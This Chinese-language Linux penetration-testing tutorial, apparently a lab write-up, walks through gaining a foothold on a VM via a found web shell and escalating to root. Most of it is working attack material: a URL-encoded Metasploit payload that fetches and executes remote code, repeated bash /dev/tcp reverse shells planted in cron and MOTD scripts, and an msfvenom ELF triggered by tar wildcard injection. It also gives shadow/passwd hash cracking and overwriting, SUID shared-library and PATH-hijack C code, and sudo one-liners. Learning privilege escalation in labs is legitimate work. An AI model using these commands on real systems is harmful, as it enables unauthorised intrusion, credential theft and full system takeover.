# 信息收集命令
# 系统信息
-
uname -a: 显示内核、操作系统和 CPU 信息。 -
head -n 1 /etc/issue: 显示操作系统版本。 -
cat /proc/version: 显示系统信息。 -
hostname: 显示计算机名。 -
env: 显示环境变量。
# 网络信息
-
ifconfig: 显示网络接口信息(现在更常用的是ip addr show)。 -
netstat -lntp: 显示所有监听端口。 -
netstat -antp: 显示所有已建立的连接。 -
netstat -s: 显示网络统计信息。 -
iptables -L: 显示防火墙设置。 -
route -n: 显示路由表。
# 用户组信息系统服务
-
w:显示活动用户和他们正在使用的终端等信息。 -
id [username]:显示指定用户的信息,包括用户 ID(UID)、所属用户组等。 -
last:显示用户登录的历史记录,包括登录时间和来源。 -
cut -d: -f1 /etc/passwd:显示系统上所有用户的用户名。 -
cut -d: -f1 /etc/group:显示系统上所有组的组名。 -
crontab -l:显示当前用户的计划任务(定时任务)。 -
chkconfig --list:列出所有系统服务。 -
chkconfig --list | grep on:列出所有已启动的系统服务。 -
echo $PATH:显示系统的路径列表,用冒号分隔的目录列表表示系统在搜索可执行文件时的顺序。
# 信息收集
nmap -sT 192.168.244.0/24

访问 80 没啥东西扫一下目录

扫到一个 shell.php

# 反弹 shell
参数是 cmd 可以执行命令


msf script/web_delivery模块 反弹shell
use exploit/multi/script/web_delivery
set lhost 192.168.244.128
set lport 9000
run

复制 payload 并且 url 编码添加在 cmd 参数后面执行得到 shell
python%20-c%20%22import%20sys%3Bimport%20ssl%3Bu%3D__import__('urllib'%2B%7B2%3A''%2C3%3A'.request'%7D%5Bsys.version_info%5B0%5D%5D%2Cfromlist%3D('urlopen'%2C))%3Br%3Du.urlopen('http%3A%2F%2F192.168.244.128%3A8080%2FsZTvRL2bM'%2C%20context%3Dssl._create_unverified_context())%3Bexec(r.read())%3B%22

# 主机信息收集
先拿一个交互 shell
**python -c 'import pty;pty.spawn("/bin/bash")'**

显示内核、操作系统和CPU信息 | |
Linux osboxes 4.15.0-45-generic #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux | |
操作系统版本 | |
Linux Lite 4.4 LTS \n \l | |
显示系统信息 | |
Linux version 4.15.0-45-generic (buildd@lgw01-amd64-031) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #48-Ubuntu SMP Tue Jan 29 16:28:13 UTC 2019 | |
环境变量 | |
env | |
APACHE_LOG_DIR=/var/log/apache2 | |
LANG=C | |
INVOCATION_ID=15ecc432bc2940368927675d4ac3a3a3 | |
APACHE_LOCK_DIR=/var/lock/apache2 | |
PWD=/var/www/html | |
JOURNAL_STREAM=9:21980 | |
APACHE_RUN_GROUP=user6 | |
APACHE_RUN_DIR=/var/run/apache2 | |
APACHE_RUN_USER=user6 | |
APACHE_PID_FILE=/var/run/apache2/apache2.pid | |
SHLVL=1 | |
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin | |
_=/usr/bin/env | |
计算机名 | |
osboxes | |
系统路径列表 | |
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin | |
开启的服务 | |
mysql 开启 | |
用户 | |
vboxadd | |
user1 | |
user2 | |
user3 | |
user4 | |
statd | |
user5 | |
user6 | |
mysql | |
user7 | |
user8 |
# SUID 提权
SUID(Set User ID)是一种权限设置,允许用户以文件所有者的权限来执行文件,即使用户自身的权限可能不足以执行该文件。
在 Unix 或类 Unix 系统中,当一个可执行文件的 SUID 位被设置为 1 时,无论谁执行该文件,都会以该文件的所有者身份执行。这种权限设置通常用于系统文件或程序,以便允许普通用户执行特定的任务或命令,而无需暴露超出其权限范围的访问权限。
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} \;
在 Unix 或 Linux 系统中查找具有 SUID 权限设置的文件。它会搜索整个文件系统 (“/”),找到具有 SUID 权限设置的文件 (“-perm -u=s”) 并将它们显示出来。同时,将任何错误消息重定向到 /dev/null,以避免它们显示在屏幕上。
常见的提权文件
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
查询到有一个 find
cd / cd /tmp 到 tmp 目录
创建一个文件
touch 1234
find 1234 -exec whoami ;
这个命令的作用是在当前目录下搜索名为 “1234” 的文件或目录,并对找到的每一个执行 whoami 命令。
find 命令用于查找文件和目录, -exec 选项允许在找到的每一个项目上执行特定的命令, \; 表示命令结束。
如果在当前目录下存在名为 “1234” 的文件或目录,对于每一个找到的 “1234”, whoami 命令将被执行,显示当前执行命令的用户的用户名。

反弹 shell
find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.244.128/4343 0>&1 \;
nc 开启监听接收到会话

# 可读 shadow 文件利用
Shadow 文件的概述:
Shadow 文件是一个 Linux 系统中存储加密用户密码和其他身份信息,如账号过期时间,密码过期时间,账户锁定和密码最小长度等等的重要文件。
Shadow 文件位于 /etc/shadow ,只有 root 用户有权限访问它。
shadow 文件与 passwd 文件的关系:早些版本加密后的密码是保存在 passwd 文件里第二个字段的位置也就是图中 x 的位置

但是呢虽然是加密的还是有可能被破解所以加上了 shadow 这个文件而 passwd 文件里的就被替换为了 X 占位,因为 shadow 文件只有 root 用户可以访问所以相对比较安全,不过有时管理员对文件权限错误配置也会导致被拿来恶意利用
文件格式:
登录名:加密口令:最后一次修改时间:最小时间间隔:最大时间间隔:警告时间:不活动时间:失效时间:标志 | |
root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7::: |
利用条件 shadow 有权查看

获取 root 用户信息并保存在新建文件中

root:mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::
利用工具 john 来破解

得到明文密码就可以切换 root 了

# 可写 shadow 文件利用
利用原理:把 shadow 文件里 root 用户 hash 值替换为自己生成的就可以 hash 再用生成用到的明文进行登录 root
前提要有 shadow 可写权限
通过 mkpasswd 生成哈希
mkpasswd -m sha-512 1234567
$6$hpRA5YNV9lAANtsF$JwX/K8VfxhxpTm5U2oTEgFw.YiYVCmfzZ0i6SqUDkpJRamWVmQ0LgflQUlhjVHkAS5N8MwFFR12mHBg6qFhwC/

用 sha-512 是因为
$6$开头的,表明是用SHA-512加密的,密文长度86 | |
$1$ 表明是用MD5加密的,密文长度22个字符 | |
$2$ 是用Blowfish加密的, | |
$5$ 是用 SHA-256加密的,密文长度43 |
接着把生成的 hash 替换原本的就可以用 1234567 登陆了

# 可写 passwd 文件利用
虽然 passwd 文件里 hash 被 X 替代了无法查看但是把 X 替换为我们生成的 hash 还是可以登陆的
利用 openssl 生成
openssl passwd 987654321
$1$uOZ/Tr4f$EqDyR9WU8wJNeB3tEY09f.
把 passwd 里 root 的 X 替换

即可用 987654321 切换 root
# 计划任务提权
查看计划任务

* * * * * root /home/crontab.sh
这条计划任务的意思是每 1 分钟执行一次 crontab.sh 脚本,并且是以 root 用户的权限来执行。
而这个文件我们是有权更改的那么就可以写入反弹 shell 命令
echo 'bash -c "bash -i >& /dev/tcp/192.168.1.139/4444 0>&1"' > crontab.sh
nc 进行监听等一分钟拿 shell


# 计划任务环境变量提权
如果你在计划任务中没有指定程序的绝对路径,系统会在 crontab 文件中的 PATH 环境变量所列出的目录中查找该程序。这些目录会按照在 PATH 变量中的顺序被检查。如果在某个目录中找到了该程序,系统就会停止搜索并执行该程序。
图中每分钟执行一次 shell.sh 脚本但是没有指定绝对路径, PATH 中默认优先查找 /home/yunyi 路径下有没有 shell.sh 有的话
就每分钟执行,利用这个特性就可以在 yunyi 目录中创建一个 shell.sh 并写上反弹 shell 进行提权

#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.1.142/7676 0>&1"

别忘了给执行权限 chmod +x shell.sh
kali:nc -vlnp 7676
获取 shell

# 计划任务通配符提权

这里还有一个 zip.sh 看一下内容是

到 home/yunyi/user 目录下打包所有文件夹文件到 /tmp 目录下名为 yunyi.tar.gz
利用 tar 命令的 –checkpoint 和 –checkpoint-action
tar 命令的 –checkpoint 和 –checkpoint-action 参数可以被用来执行提权操作这是因为 tar` 命令在处理文件时,可以在每个检查点 checkpoint 执行一个特定的动作 action
如果管理员给予了某个普通用户 tar 命令的超级管理员操作权限,那么我们可以使用 tar 命令进行提权例如,以下命令可以创建一个新的归档文件,并在每个检查点执行 /bin/bash 命令
sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action=exec="/bin/bash"
在这个命令中, --checkpoint=1 表示每处理一个文件就设置一个检查点, --checkpoint-action=exec="/bin/bash" 表示在每个检查点执行 /bin/bash 命令因为 tar 命令是以 root 用户的身份运行的,所以 /bin/bash 命令也会以 root 用户的身份运行,从而获得 root 权限
kali 生成反弹 shell 文件
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.142 LPORT=8989 -f elf -o shell.elf
启动一个 http 服务受害机下载 shell 文件并给予权限


在 user 目录创建这两个文件
touch /home/yunyi/user/--checkpoint-action=exec=shell.elf
touch /home/yunyi/user/--checkpoint=1


nc -lvnp 8989 拿到权限
也可以创建一个 sh 脚本反弹 shell
touch /home/yunyi/user/--checkpoint-action=exec=sh shell.sh
# SUID 原理详解
# SUID 共享库提权
其实 suid 提权原理就是利用有 s 位的程序去执行我们的恶意文件恶意命令
编写一个有漏洞的程序
#include <stdio.h> | |
#include <stdlib.h> | |
#include <dlfcn.h> | |
int main(int argc, char **argv) { | |
// 检查是否提供了正确数量的参数 | |
if (argc != 2) { | |
printf("Usage: %s <path to .so file>\n", argv[0]); | |
return 1; | |
} | |
// 使用 dlopen 函数加载共享库 | |
// RTLD_LAZY 表示在 dlopen 返回前,解析器不会解析库中的任何符号 | |
// 符号解析将推迟到第一次调用 dlsym 或者第一次访问这些符号时进行 | |
void *handle = dlopen(argv[1], RTLD_LAZY); | |
if (!handle) { | |
// 如果 dlopen 返回 NULL,表示加载共享库失败 | |
// 此时可以使用 dlerror 函数获取错误信息 | |
fprintf(stderr, "Error: %s\n", dlerror()); | |
return 1; | |
} | |
// 使用 dlclose 函数卸载共享库 | |
// 如果共享库不再需要,应该尽快卸载,以节省内存资源 | |
dlclose(handle); | |
return 0; | |
} |
编译好给 s 权限
gcc -o loader loader.c -ldl | |
sudo chown root:root loader | |
sudo chmod u+s loader |
这段程序会接受我们传入的参数这个参数就是一个共享库 so 文件,因为这个文件是有 s 位权限的我们就可以写一个提权的 so 文件执行以后就会获取 root 权限的 shell
编写一个共享库文件里面是提权代码
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
// 使用 attribute ((constructor)) 标记,使得这个函数在 main 函数执行前被调用 | |
static void shell() __attribute__((constructor)); | |
void shell(){ | |
// 将当前进程的用户 ID 和组 ID 设置为 0(对应 root 用户) | |
setgid(0); | |
setuid(0); | |
// 启动一个新的 bash shell | |
//-p 选项会让 bash 保留特权,这意味着新启动的 shell 会以 root 权限运行 | |
system("/bin/bash -p"); | |
} |
#编译成 so | |
gcc -shared -fPIC -o shell2.so shell2.c | |
#生成一个名为 shell.so 的共享库文件。-shared 生成一个共享库,-fPIC 生成位置无关代码, |

执行 /usr/local/bin/loader shell.so
当前权限

执行以后

原理:
漏洞点在于程序允许任何用户加载并执行任意的共享库。如果一个恶意用户能够控制被加载的共享库,那么他们就可以执行任意代码,并且由于程序设置了 SUID 位,这段代码将以文件所有者(在我们的例子中是 root 用户)的权限来执行。
例如,可以创建一个共享库,其中包含一个构造函数(在共享库被加载时自动执行的函数),这个构造函数执行一些恶意操作,如创建一个 root shell。然后可以通过程序来加载这个共享库。由于程序设置了 SUID 位,这个共享库将以 root 用户的权限来执行,因此就可以获得 root 权限。
# SUID 环境变量劫持提权
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
int main() { | |
// 尝试执行 shell 程序 | |
setuid(0); | |
setgid(0); | |
if (system("shell") == -1) { | |
printf("错误:没有找到shell\n"); | |
} else { | |
printf("shell程序已成功执行\n"); | |
} | |
return 0; | |
} |
因为它使用了 system 函数,而 system 函数会在用户的环境变量 PATH 中查找命令。因此,如果用户有权限修改自己的环境变量,就可以劫持 shell 文件写一个同名文件然后写入提权程序拿到 root
在 /home/kali/hc 创建一个 shell 程序
#include <stdio.h> | |
#include <stdlib.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
void main(){ | |
setgid(0); | |
setuid(0); | |
system("/bin/bash -p"); | |
} |
更改临时环境便变量让程序执行时首先查找 /home/kali/hc 目录下有没有 shell
export PATH=/home/kali/hc:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/home/kali/hc |

# SUID - 滥用 shell 功能提权
查看 bash 版本在 bash 版本低于 4.4 的时候用
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' /usr/local/bin/suid4 进行提权
原理为:
env -i :这个命令用于运行一个程序,在一个新的、空的环境中。也就是说,它不会继承任何环境变量。
SHELLOPTS=xtrace :这个环境变量设置 Bash shell 进入追踪模式(xtrace),在这种模式下,Bash 会打印出执行的每一条命令。
然后用 PS4 配合 xtrace 提权 PS4 是一个环境变量这个环境变量设置了 Bash shell 在打印追踪信息时使用的提示符
默认PS4` 的值设置为 `'+' | |
也就是我们打开xtrace模式打印出来的命令前面的+号 | |
例如: | |
#!/bin/bash | |
PS4='Line ${LINENO}: ' | |
set -x | |
echo "Hello, world!" | |
运行这个脚本,你会看到: | |
Line 4: echo Hello, world! | |
Hello, world! |
PS4='$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' :我们把他替换为了 '$(cp /bin/bash /tmp/rootbash;chmod +xs /tmp/rootbash)' 这些命令复制 /bin/bash 到 /tmp/rootbash ,并给予新文件 SUID 权限。这意味着任何用户运行 /tmp/rootbash 时,都会以文件所有者(在这种情况下是 root)的权限来运行。
/usr/local/bin/suid4 :这是要以新环境运行的程序。一个有 s 位的程序,由于 SHELLOPTS 和 PS4 的设置,它会在运行时执行 PS4 中的命令也就是复制出一个具有 root 权限的 bash shell 到 /tmp
然后我们运行 rootbash -p 即可获得 root 权限的 shell

可看到运行后生成了 rootbash 获取了 root
当然可以将 PS4 中的命令替换为任何有效的 Bash 命令。因为 PS4 变量的值会在每次打印追踪信息之前被执行。所以你可以在 PS4 中插入任何你想要在每次命令执行之前运行的代码。
# NSF 提权
nsf 是 Linux 系统中用于共享文件和目录的功能通过 NFS,用户和程序可以访问远程系统上的文件,就像访问本地文件一样
nsf 的配置在 /etc/exports 文件中

这行表示共享 /tmp 目录,所有的网络主机都可以访问(由 * 表示),有读写权限(由 rw 表示),共享将立即写入磁盘就是立即生效(由 sync 表示), insecure 允许非保留端口连接 ,禁止 root 权限映射(由 no_root_squash 表示),并且不检查子目录的权限(由 no_subtree_check 表示)。
特别是有 no_root_squash 启用 no_root_squash 会使得 root 在 NFS 客户端上拥有和服务器上相同的权限
利用:
创建一个目录进行挂载
mkdir /home/kali/hc/nfs-shell
mount -o rw,vers=3 192.168.1.144:/tmp /home/kali/hc/nfs-shell
rw 读写权限,vers3 版本
成功挂载

接下来写一个提权程序
vim shell.c
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
void main(){ | |
setgid(0); | |
setuid(0); | |
system("/bin/bash -p"); | |
} |
编译然后给 shell 执行权限

回到受害机执行提权到 root

# 内核提权
查看内核版本 uname -a
curl https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
下载 linpeas 脚本收集信息
如果没有 curl 可以用 kali 下载 nc 传过来
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
kali: nc -lvnp 80 < linpeas.sh
受害: cat < /dev/tcp/192.168.1.145/80 | sh

# 脏牛提权 (CVE-2016-5195)
searchsploit 搜索脏牛

有这些漏洞利用脚本下一个
searchsploit -m 40839.c
传到受害查看说明

要用 - pthread 和 - lcrypt 编译编译好后执行然后输入新的密码就可以了

# MOTD 机制提权

update-motd.d 目录下的脚本在用户通过 SSH 登录时会被执行,用于生成登录后的欢迎信息这些脚本通常以 root 权限运行
00-header 是 update-motd.d 目录下的一个脚本如果一个用户对 00-header 文件有写权限,那么他们就可以修改这个文件,插入一些恶意代码例如,他们可以添加一个修改 root 用户密码的命令或者反弹 shell 当其他用户通过 SSH 登录时, 00-header 脚本会以 root 权限运行,执行其中的命令
vim 输入 bash -c "bash -i >& /dev/tcp/192.168.1.145/4444 0>&1"
kali 监听 nc -lvnp 4444
再重新 ssh 登陆让他执行这个脚本,成功拿到 root

# sudo 提权
# sudofind 提权
sudo find . -exec /bin/sh \; -quit |

# sudoapt 提权
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh |

# sudovim 提权
sudo vim -c ':!/bin/sh' |

# GTFOBins
这个网站可以搜索更多 sudo suid 提权

